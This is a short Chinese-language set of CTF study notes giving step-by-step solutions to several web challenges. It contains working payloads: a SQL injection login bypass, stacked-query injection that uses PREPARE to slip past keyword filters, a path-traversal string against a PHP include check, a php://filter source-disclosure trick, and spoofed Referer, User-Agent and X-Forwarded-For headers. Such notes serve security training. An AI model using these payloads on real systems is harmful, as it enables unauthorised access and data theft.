题型解析
一、
1、输入用户名和密码:①弱口令②万能密码:1‘ or 1=1 #
二、打开什么也没有:
1、打开什么都没有,查看源代码,若源代码中有if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';字样,在网址中输入/?cat=dog,获取flag。
⭐2、打开只有一张图片,查看源代码,若源代码中有<!--source.php-->字样,可以在网址中输入/source.php查看,打开有$whitelist = ["source"=>"source.php","hint"=>"hint.php"];的字样,可以在原来的网址后面输入/hint.php,打开发现没有flag,只有flag not here, and flag in ffffllllaaaagggg,则再查看source.php的源代码,发现有
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
的字样,所以在原网址输入/?file=source.php? ../../../../../../../../../ffffllllaaaagggg,出现源代码。
3、什么都没有,只有tips,点击发现什么都没有,用payload格式构造,php://filter/read=convert.base64-encode/resource=xxx.php,其中php://filter是php协议,可以执行任意文件的读取;resource=<要过滤的数据流>指定要筛选过滤的数据流;read=<读链的筛选列表>;write=<写链的筛选列表>,read=convert.base64-encode用base-64编程输出,出现flag。
三、
1、SQL注入:在对话框中输入正常的sql注入语句,若弹出select/update……被屏蔽,则输入形如1’;show databases(tables/columns from …); # 的字样,找到flag表,之后试试输入1;select* from 表名,或*或1,* 或*,1 若找不到flag,则试试-1‘;Set @sql=CONCAT('se','lect *from 表名;');PRepare stmt from @sql;EXECUTE stmt;# 若找不到flag,则放弃。
四、HTTP
1、打开网址发现什么都没有,查看源代码,找到带有php的文件,复制链接粘贴访问,发现什么都没有,抓包,出现“It doesn't come from 'https://Sycsecret.buuoj.cn' ”的字样,在Request中添加Referer:https://Sycsecret.buuoj.cn,(其中Referer是HTTP请求头Header的一部分),然后点Go,出现"Please use "Syclover" browser"的字样,之后将User-Agent改为Syclover,(User-Agent表示浏览器的身份标识字符串),之后出现“No!!! you can only read this locally!!!”发现需要本地登录,所以添加“X-Forwarded-For:127.0.0.1"出现flag。